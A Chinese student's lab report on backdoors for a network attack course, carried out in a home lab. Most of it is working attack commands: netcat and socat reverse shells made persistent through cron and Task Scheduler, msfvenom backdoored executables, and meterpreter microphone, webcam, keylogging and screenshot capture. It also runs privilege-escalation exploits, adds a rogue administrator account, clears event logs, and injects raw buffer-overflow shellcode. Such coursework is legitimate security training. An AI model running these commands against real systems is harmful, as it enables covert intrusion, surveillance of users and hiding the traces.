实 验 报 告
课程：网络对抗技术
班级：2012 姓名：郭幸坤 学号：20201213
实验名称：后门原理与实践 实验日期：2023.3.20
实验目的
- 了解网络后门的原理与危害。
- 学会使用 netcat 、socat 获取主机 shell
- 理解 TCP 反弹 shell 的原理
- 初步掌握 metasploit 的使用
实验内容
- 使用netcat获取主机操作Shell，cron启动
- 使用socat获取主机操作Shell, 任务计划启动
- 使用MSF meterpreter 生成可执行文件，利用ncat或socat传送到主机并运行获取主机Shell
- 使用MSF meterpreter 生成获取目标主机音频、摄像头、击键记录等内容，并尝试提权
- 使用MSF生成shellcode 注入到实践1中的pwn1中，获取反弹连接Shell
实验过程
（一）使用netcat获取主机操作Shell，cron启动
思路：
- 攻击者 持续监听 1213 端口
- 受害者 cron 添加定时任务，定时反向连接攻击者的1213 端口
过程：
攻击者 Windows 10 IP ：192.168.1.100
受害者 Kali IP ：192.168.1.101
- windows 使用natcat监听1213 端口
ncat.exe -lvp 1213
- kali 使用nc命令测试连通性
nc 192.168.1.100 1213 -e /bin/sh
可以连通
- kali添加定时任务，执行nc命令，连接windows攻击者
crontab -e
48 * * * * nc 192.168.1.100 1213 -e /bin/sh
- windows用ncat监听1213 端口，等待每小时的48分，受害者kali主动连接自己
（二）使用socat获取主机操作Shell, 任务计划启动
思路：
- 攻击者kali使用socat监听1213 端口
- 受害者windows在任务启动计划中添加定时任务，定时主动连接kali的1213 端口
过程：
攻击者 Windows 10 IP ：192.168.1.100
受害者 Kali IP ：192.168.1.101
- kali监听1213 端口
socat tcp-listen:1213 -
- 测试连通性
Windows
socat.exe TCP:192.168.1.101:1213 exec:cmd.exe //报错，管道不存在
socat.exe tcp:192.168.1.101:1213 exec:cmd.exe,pty,stderr
可以连通
由于我的路径中有一些中文，显示出来成了乱码……
- windows添加定时任务，主动连接攻击者kali
Win+R compmgmt.msc
在系统工具中，找到任务计划程序，点击右侧的创建任务
常规设置：任务名
触发器：设置成一次吧
操作：设置成 C:\Users\doxide\Desktop\socat\socat.exe
参数 tcp:192.168.1.101:1213 exec:cmd.exe,pty,stderr
其他保持默认即可
- kali监听1213 端口，等待windows的主动连接
-
windows弹出警告
socat 744 find_fast_cwd: WARNING: Couldn't compute FAST_CWD pointer.忽略即可。一般来说，这个警告不是一个严重的问题，它并不表示实用程序
socat本身有任何问题。它只是一个警告，说明 Fast_CWD 功能未用于相关的特定进程。如果socat运行正常，您可以安全地忽略此警告。
（三）使用MSF meterpreter（或其他软件）生成可执行文件，利用ncat或socat传送到主机并运行获取主机Shell
思路：
- kali ncat 监听，Win10 ncat连接 kali ，将hello.exe发送给kali
- kali 接收 hello.exe 并使用 msfvenom 植入反弹shell的后门
- kali ncat 监听，将毒化后的hello.exe 发送给连接者 Win10
- kali 进入msfconsole控制台，监听端口，等待Win10运行有毒的 hello.exe 连接自己，从而获得shell
过程
在Kali上生成后门可执行程序hack.exe
过程
kali接受windows的文件
kali毒化hack.exe
msfvenom -p windows/meterpreter/reverse_tcp -x ./hack.exe -e x86/shikata_ga_nai -i 5 -b '\x00' LHOST=192.168.1.101 LPORT=1213 -f exe > hack1213.exe
//这个后来windows会显示不能运行。其实不应该encoder，因为windows没有decoder，payload会没办法运行，我觉得是这样
//由于不是缓冲区溢出攻击，也没必要绕过字符串的00截断
//加上-k参数，保持原来程序的功能，改成
msfvenom -p windows/meterpreter/reverse_tcp -k -x ./hack.exe LHOST=192.168.1.101 LPORT=1213 -f exe > hack1213.exe
//还是不能运行
//后来发现是 ncat 传文件没传完整，要耐心等待......
//然后加上encoder也是可以正常运行的
//-k 参数有点问题，在windows运行报错了
//最后确定用下面这个
msfvenom -a x64 -p windows/x64/meterpreter/reverse_tcp -x ./hack.exe -e x86/shikata_ga_nai -i 5 LHOST=192.168.1.101 LPORT=1213 -f exe > hack1213.exe
或者
//单纯的后门，没有原来程序的功能
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=1213 -f exe > hack1213.exe
kali把有毒的hack.exe 传回给windows
kali进入msf控制台，准备监听来自windows的反弹shell连接
在kali上使用msfconsole指令进入msf控制台
对msf控制台进行配置,依次输入以下命令
use exploit/multi/handler #使用监听模块
set payload windows/meterpreter/reverse_tcp #使用与windows后门相同的payload
set LHOST 192.168.28.133 #Kali ip
set LPORT 1213 #kali port
run
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.199.126
set LPORT 1213
run
windows运行带有后门的程序，kali msfconsole获得session
（四）使用MSF meterpreter（或其他软件）生成获取目标主机音频、摄像头、击键记录等内容，并尝试提权
思路：
- 在上一步攻击成功的基础上，获得session之后，使用相应指令，即可完成 录音、摄像头、击键记录、截屏等功能
- 在获得 session 的基础上，POST 模块提权。
过程：
- 获取 录音、摄像头、击键记录、截屏
record_mic -d 5 //录音 5 秒
webcam_list //列出网络摄像头 //没有
webcam_snap //用摄像头拍照
keyscan_start //开始记录键盘
keyscan_dump //显示捕获到的键盘记录
keyscan_stop //停止记录键盘
screenshare //生成一个html，用浏览器打开，可以实时获取屏幕信息
screenshot //获取截屏
- POST 模块提权
方法一：先试一下直接getsystem能不能行
getsystem //报错了
getuid
方法二：尝试利用其它漏洞提权
search ms16 arch:x64
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/browser/ms16_051_vbscript 2016-05-10 normal No Internet Explorer 11 VBScript Engine Memory Corruption
1 exploit/windows/fileformat/office_ole_multiple_dll_hijack 2015-12-08 normal No Office OLE Multiple DLL Side Loading Vulnerabilities
2 exploit/windows/local/ms16_075_reflection 2016-01-16 normal Yes Windows Net-NTLMv2 Reflection DCOM/RPC
3 exploit/windows/local/ms16_075_reflection_juicy 2016-01-16 great Yes Windows Net-NTLMv2 Reflection DCOM/RPC (Juicy)
4 exploit/windows/local/ms16_014_wmi_recv_notif 2015-12-04 normal Yes Windows WMI Receive Notification Exploit
//都不行
//换一个
use post/windows/escalate/ms10_073_kbdlayout //也不行，Windows 10 (10.0 Build 10240). is not vulnerable.
//看来win10还是有些东西
方法三：盗取令牌
meterpreter > use incognito //进入这个模块
meterpreter > list_tokens –u //查看存在的令牌
meterpreter > impersonate_token NT AUTXXXX\SYSTEM //令牌是DelegationTokens一列，getuid查看，两个斜杠
//失败
方法四：Bypassuac
use exploit/windows/local/bypassuac
//失败 Windows 10 (10.0 Build 10240). is not vulnerable.
方法五：Hash
use post/windows/gather/smart_hashdump
//失败，权限不够
方法六：添加服务
use exploit/windows/local/service_permissions //失败
search service arch:x64 platform:windows
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/local/applocker_bypass 2015-08-03 excellent No AppLocker Execution Prevention Bypass
1 exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move 2020-03-10 excellent Yes Background Intelligent Transfer Service Arbitrary File Move Privilege Elevation Vulnerability
2 exploit/windows/local/cve_2020_17136 2020-03-10 normal Yes CVE-2020-1170 Cloud Filter Arbitrary File Creation EOP
3 exploit/windows/local/anyconnect_lpe 2020-08-05 excellent Yes Cisco AnyConnect Privilege Escalations (CVE-2020-3153 and CVE-2020-3433)
4 exploit/multi/misc/osgi_console_exec 2018-02-13 normal Yes Eclipse Equinox OSGi Console Command Execution
5 exploit/multi/misc/freeswitch_event_socket_cmd_exec 2019-11-03 excellent Yes FreeSWITCH Event Socket Command Execution
6 exploit/windows/local/gog_galaxyclientservice_privesc 2020-04-28 excellent Yes GOG GalaxyClientService Privilege Escalation
7 exploit/windows/smb/generic_smb_dll_injection 2015-03-04 manual No Generic DLL Injection From Shared Resource
8 exploit/windows/http/generic_http_dll_injection 2015-03-04 manual No Generic Web Application DLL Injection
9 exploit/windows/misc/hp_dataprotector_cmd_exec 2014-11-02 excellent Yes HP Data Protector 8.10 Remote Command Execution
10 exploit/multi/misc/java_jdwp_debugger 2010-03-12 good Yes Java Debug Wire Protocol Remote Code Execution
11 exploit/windows/smb/smb_relay 2001-03-31 excellent No MS08-068 Microsoft Windows SMB Relay Code Execution
12 exploit/windows/http/manageengine_servicedesk_plus_cve_2021_44077 2021-09-16 excellent Yes ManageEngine ServiceDesk Plus CVE-2021-44077
13 exploit/windows/local/nvidia_nvsvc 2012-12-25 average Yes Nvidia (nvsvc) Display Driver Service Local Privilege Escalation
14 exploit/windows/fileformat/office_ole_multiple_dll_hijack 2015-12-08 normal No Office OLE Multiple DLL Side Loading Vulnerabilities
15 exploit/windows/http/oracle_endeca_exec 2013-07-16 excellent Yes Oracle Endeca Server Remote Command Execution
16 exploit/windows/local/current_user_psexec 1999-01-01 excellent No PsExec via Current User Token
17 exploit/windows/local/bits_ntlm_token_impersonation 2019-12-06 great Yes SYSTEM token impersonation through NTLM bits authentication on missing WinRM Service.
18 exploit/windows/sage/x3_adxsrv_auth_bypass_cmd_exec 2021-07-07 good Yes Sage X3 Administration Service Authentication Bypass Command Execution
19 exploit/windows/misc/webdav_delivery 1999-01-01 manual No Serve DLL via webdav server
20 exploit/windows/http/sitecore_xp_cve_2021_42237 2021-11-02 excellent Yes Sitecore Experience Platform (XP) PreAuth Deserialization RCE
21 exploit/windows/winrm/winrm_script_exec 2012-11-01 manual No WinRM Script Exec Remote Code Execution
22 exploit/windows/local/service_permissions 2012-10-15 great No Windows Escalate Service Permissions Local Privilege Escalation
23 exploit/windows/local/ms16_075_reflection 2016-01-16 normal Yes Windows Net-NTLMv2 Reflection DCOM/RPC
24 exploit/windows/local/ms16_075_reflection_juicy 2016-01-16 great Yes Windows Net-NTLMv2 Reflection DCOM/RPC (Juicy)
尝试了十几个一下，好像都不太行
唉，不能操之过急，还是先信息搜集吧
run post/multi/recon/local_exploit_suggester //先漏洞扫描一波
run post/multi/gather/env //收集系统信息
run post/windows/gather/checkvm` //看看是不是虚拟机
run post/windows/gather/forensics/enum_drives //看眼磁盘分区
run post/windows/gather/enum_services //看看开了什么服务
run post/windows/gather/enum_applications //看看应用软件
run post/windows/gather/dumplinks //看看最近的操作
run post/windows/gather/enum_logged_on_users //看看登录的用户
run post/windows/gather/enum_snmp //看看有没有snap服务
//也看不出来有什么漏洞......
看来 微软 还是很厉害的，只能提权 win7 了
run killav
getsystem //失败
run post/multi/recon/local_exploit_suggester
[+] 192.168.1.100 - exploit/windows/local/bypassuac_dotnet_profiler: The target appears to be vulnerable.
[+] 192.168.1.100 - exploit/windows/local/bypassuac_sdclt: The target appears to be vulnerable.
[+] 192.168.1.100 - exploit/windows/local/cve_2019_1458_wizardopium: The target appears to be vulnerable.
[+] 192.168.1.100 - exploit/windows/local/cve_2020_1054_drawiconex_lpe: The target appears to be vulnerable.
[+] 192.168.1.100 - exploit/windows/local/ms10_092_schelevator: The target appears to be vulnerable.
[+] 192.168.1.100 - exploit/windows/local/ms16_014_wmi_recv_notif: The target appears to be vulnerable.
[+] 192.168.1.100 - exploit/windows/local/tokenmagic: The target appears to be vulnerable.
background
use exploit/windows/local/bypassuac_sdclt、options、set、run //拿到了一个新的会话，但是没有管理员权限
use exploit/windows/local/ms16_014_wmi_recv_notif //拿到了管理员权限
getsystem //[-] Already running as SYSTEM
getuid //Server username: NT AUTHORITY\SYSTEM
shell
chcp 65001
net user hacker hacker /add
net localgroup administrators hacker /add //成功添加hacker用户为管理员
exit
clearev //清楚入侵痕迹
打开win7的控制面板，可以看到新添加的hacker管理员
经过win7提权，发现之前win10提权有致命的问题，kali的端口没开对，改下端口和防火墙重新尝试提权
run killav
run post/multi/recon/local_exploit_suggester
[+] 192.168.1.100 - exploit/windows/local/bypassuac_dotnet_profiler: The target appears to be vulnerable.
[+] 192.168.1.100 - exploit/windows/local/bypassuac_sdclt: The target appears to be vulnerable.
[+] 192.168.1.100 - exploit/windows/local/cve_2020_1048_printerdemon: The target appears to be vulnerable.
[+] 192.168.1.100 - exploit/windows/local/cve_2020_1337_printerdemon: The target appears to be vulnerable.
[+] 192.168.1.100 - exploit/windows/local/tokenmagic: The target appears to be vulnerable.
use exploit/windows/local/bypassuac_dotnet_profiler
getsystem //...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
getuid //Server username: NT AUTHORITY\SYSTEM
shell
chcp 65001
net user hacker hacker /add
net localgroup administrators hacker /add //成功添加hacker用户为管理员
exit
clearev //清楚入侵痕迹
成功在 win10 添加 hacker 管理员
（五）使用MSF生成shellcode,注入到实践1中的pwn1中，获取反弹连接Shell
思路：
- 生成shellcode
- MSF监听
- 注入pwn1，反弹shell
- 远程注入Ubuntu
过程：
- 使用msfvenom生成shellcode
先找一个合适的payload
msfvenom -l payloads | grep linux | grep x86 | grep tcp | grep reverse
linux/x86/meterpreter/reverse_ipv6_tcp Inject the mettle server payload (staged). Connect back to attacker over IPv6
linux/x86/meterpreter/reverse_nonx_tcp Inject the mettle server payload (staged). Connect back to the attacker
linux/x86/meterpreter/reverse_tcp Inject the mettle server payload (staged). Connect back to the attacker
linux/x86/meterpreter/reverse_tcp_uuid Inject the mettle server payload (staged). Connect back to the attacker
linux/x86/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)
linux/x86/metsvc_reverse_tcp Stub payload for interacting with a Meterpreter Service
linux/x86/shell/reverse_ipv6_tcp Spawn a command shell (staged). Connect back to attacker over IPv6
linux/x86/shell/reverse_nonx_tcp Spawn a command shell (staged). Connect back to the attacker
linux/x86/shell/reverse_tcp Spawn a command shell (staged). Connect back to the attacker
linux/x86/shell/reverse_tcp_uuid Spawn a command shell (staged). Connect back to the attacker
linux/x86/shell_reverse_tcp Connect back to attacker and spawn a command shell
linux/x86/shell_reverse_tcp_ipv6 Connect back to attacker and spawn a command shell over IPv6
//本次shellcode不能有 \x00和\x0a 使用-b参数
//试一下 linux/x86/meterpreter/reverse_tcp
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=1213 -b '\x00\x0a' -f c
//把生成的shellcode放到C代码中进行验证
//gcc -m32 ; exestack -s;
//能短暂连接上msfconsole的监听并生成会话，但会立即爆出段错误退出。
===========================================================================================================
//排查是否是 64 位的问题
//试一下 linux/x64/meterpreter/reverse_tcp
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=1213 -b '\x00\x0a' -f c
//C语言运行shellcode，还是一样的短暂连接，爆段错误
//64位也爆段错误，可能是payload的问题
===========================================================================================================
//多换几个payload
msfvenom -p linux/x86/shell/reverse_tcp LHOST=192.168.1.101 LPORT=1213 -b '\x00\x0a' -f c //失败
msfvenom -p linux/x86/metsvc_reverse_tcp LHOST=192.168.1.101 LPORT=1213 -e x86/shikata_ga_nai -b '\x00\x0a' -f c //失败
msfvenom -p linux/x86/shell/reverse_nonx_tcp LHOST=192.168.1.101 LPORT=1213 -b '\x00\x0a' -f c //失败
msfvenom -p linux/x86/shell/reverse_nonx_tcp LHOST=192.168.1.101 LPORT=1213 -e x86/shikata_ga_nai -b '\x00\x0a' -f c //失败
//编码与否不影响shellcode的正常执行 -e x86/shikata_ga_nai
msfvenom -p linux/x86/meterpreter/reverse_tcp_uuid LHOST=192.168.1.101 LPORT=1213 -b '\x00\x0a' -f c //失败
===========================================================================================================
//看来不是payload的问题
//后知后觉，msfvenom的payload换了，mfs监听的payload没换
//重新尝试
msfvenom -p linux/x86/shell/reverse_tcp LHOST=192.168.1.101 LPORT=1213 -e x86/shikata_ga_nai -i 5 -b '\x00\x0a' -f c
//可以了
- 注入1213 pwn
实验一的缓冲区溢出攻击的准备工作就略过了
返回应地址覆盖为 0xffffd170
perl -e 'print "A" x 32;print "\x70\xd1\xff\xff";print "\xbf\xf7\x44\x67\x81\xd9\xcc\xd9\x74\x24\xf4\x5d\x33\xc9\xb1\x3a\x31\x7d\x15\x03\x7d\x15\x83\xed\xfc\xe2\x02\xff\xc0\x23\xd0\x76\xd5\xff\xf1\x03\xcd\x0b\x5c\xdd\xc4\x45\x6a\x2c\x8a\xb7\x11\xa3\xc8\xbb\xef\x90\xef\x3f\xd2\xb0\xae\x38\xaa\xce\xcb\xe1\x3e\x44\x5d\x10\xe1\x40\x65\x8a\x33\x90\x59\x51\x63\x57\x58\xb1\xab\x33\x78\x02\xc1\x52\xe0\x0e\x46\x23\x8a\xd8\x92\x12\xcf\x6e\x36\x59\xbc\xe9\x7a\xf7\x73\xfc\xe6\x87\xb6\x3e\x4a\x1c\xed\x36\x33\xed\xae\x90\x5d\xf3\x94\xb1\x2d\xad\x17\x37\x75\xb8\x1d\x06\xdf\xf6\x1c\x8a\x8e\x84\xa3\xa7\xeb\xbd\x0b\x76\x46\x04\xbd\x04\xdf\x97\xe4\x3b\x2a\x26\x6d\x2f\xc2\x92\xea\xfe\x92\x14\x93\xea\x77\x04\xa2\xd6\x84\xca\xe3\xc2\xa3\x29\x68\xd0\xe5\x78\xeb\x1d\xb7\x86\x04\xee\x57\xf3\xaf\x7f\xf0\x97\x72\xf1\x6c\xe8\xd0\x9c\xc6\x45\x6d\xba\x41\x07\x6c\xf9\x0b\xf6\x09\xc3\x79\x03\x66\x4a\x7e\x7b\x01\x4c\x23\x57\xc3\x11\xca\xd8\xde\x1e\x04\xaa\xbf\x18\x85\x66\xc3\x19\xb7\x93\x2d\xd4\x59\x61\x64\x26\x65\x33\x15\x27\xe1\xf0\xab\xd4\x53\xad\x7b\xe9\x69\x4f\xd7\xe4\x11\x69\x4a\x9c\xf1\xd2\x93\x57"'> hack2.bin
（cat hack2.bin ; cat）| ./1213 pwn
//段错误
GDB attach一下，layout asm ； x/16x 0xffffd170
//shellcode确实写进去了，eip也成功跳转了
- 错误排查
1. 是否是编码问题？ //删除-e参数，再来一遍，还是不行
2. 是否是payload问题？ //换一个，linux/x86/meterpreter/reverse_tcp 还是不行
3. 是否是 -b 的问题？ //反汇编一下有-b 的shellcode，再反汇编一下没有-b 的shellcode
//发现，这两个的汇编语言差距有些大，没有-b参数的汇编明显更合理一些。猜测-b参数可能对shellcode进行了转换，而转换之后不能直接用于缓冲区溢出攻击。
//寻寻觅觅，发现linux/x86/meterpreter/reverse_nonx_tcp的名字挺有意思的，不会是生成的shellcode没有\x00的意思吧？
4. 尝试payload换成linux/x86/meterpreter/reverse_nonx_tcp //生成shellcode一看，果然没有0x00；再反汇编一看，汇编也挺合理。
//而且和我实验一写的 tcp反弹shellcode比较相似。
//我实验一的 tcp反弹shellcode 是可以配合 MSF或nc 攻击成功的
//预感这次没问题
- 高兴地拿新的shellcode注入1213 pwn
perl -e 'print "A" x 32;print "\x7d\x84\x04\x08";print "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x97\x5b\x68\xc0\xa8\x90\x97\x66\x68\x04\xb6\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\x5b\x99\xb6\x0c\xb0\x03\xcd\x80\xff\xe1"'> hack2.bin
//msfconsole 监听
(cat hack2.bin ;cat) | ./1213pwn
//成功！！！
实验体会
本次实验踩了不少的坑，而且网上也搜不到相关的解决办法，在这四面楚歌的情况下，我还是想把实验完完本本地做出来。尤其是在 POST 模块 win10 提权，和 msfvenom 生成 shellcdoe 注入 pwn1 的实验中，我看到不少同学没怎么尝试 win10 的提权，不能缓冲区溢出攻击注入shellcode，就直接毒化ELF文件，但是我不想这样。
我回想了一下老师上课说的排查问题的方法，并有意识地运用到本次实验中。所幸基础知识比较扎实，通过不断控制单一变量的方法，不断尝试，还真的解决了一些问题。同时进一步认识到，查看官方手册 和 使用help 是重要的学习途径，当然这要建立在有了一定的经验和理解的基础上。
这次能用msfvenom生成能缓冲区溢出的shellcode，也是建立在实验一的基础上。如果没有亲手写过execve nc 反弹shell的汇编的话，也许永远也发现不了 加了-b 参数的shellcode是不太对劲的，也就不会想到linux/x86/shell/reverse_nonx_tcp可能是大佬留下的没有0x00截断的shellcode，也就不会多次尝试这个payload。其他的 payload 不是有 0x00 就是有 0x0a ，加了 -b 又不能正常缓冲区溢出成功。
不得不说知识的相互交叉，还真是奇妙。
借鉴前人的经验也非常重要，在其他完成类似实验的博客中，有人这么说道
实验最开始还有一个小插曲，cron 选编辑器，看到官方标注nano最简单，然后选了nano，结果不是图形化的界面，也没vim用得熟悉，就想换成vim，结果换不了...差点吐血...还好发现了select-editor命令，设置用户的优先编辑器为vim，然后重启cron就是vim编辑了。
于是果断避雷，第一次就选择vim，避免了许多麻烦。
基础问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式？
- 下载非官方软件。
- 网站漏洞。比如说我如果把自己的小破网站开起来，就会存在 文件上传漏洞啊，SQL注入漏洞啊，XSS啊...
利用漏洞写个后门，在拿个菜刀蚁剑连接还是轻轻松松的。 - SSH弱口令。不少机器都是开了SSH远程登录的，弱口令爆破。
- 主动插入带毒的U盘，或者别人趁我不注意，插入带毒的U盘
(2)例举你知道的后门如何启动起来(win及linux)的方式？
- windows
- 开机自启动
- 注册表启动
- 定时任务管理器
- 配合其他漏洞，如远程命令执行
- 网站直接访问。比如已经成功写入了PHP的一句话木马，直接访问就可以了，菜刀蚁剑也可以。
- linux
- cron定时任务
- 运行带后门的程序
- 配合其他漏洞，如远程命令执行
- 网站直接访问。比如已经成功写入了PHP的一句话木马，直接访问就可以了，菜刀蚁剑也可以。
(3)Meterpreter有哪些给你映像深刻的功能？
-
功能强。
集成了很多模块，从信息搜集，到花式渗透攻击，再到提权，全都有对应的功能模块。
-
入门快。
search，use ，set ，options，run，session，基本就可以用起来了。
-
精通难。
要成功利用漏洞，就必须要知道漏洞的细节和原理。如果只是稀里糊涂地、浅尝辄止地攻击，msf那么多功能放在那也是白搭。
我在本次实验中也体会到了，即使凑巧选对了 payload，不根据实际情况进行调整，也是不会轻易成功的。
(4)如何发现自己有系统有没有被安装后门？
- 杀毒软件
- 异常开启的端口
- 流量分析
- 检查定时任务
- 系统莫名其妙地出现异常、风扇异常响起、内存突然增加......
- 手工检查 任务管理器 、启动项 、注册表......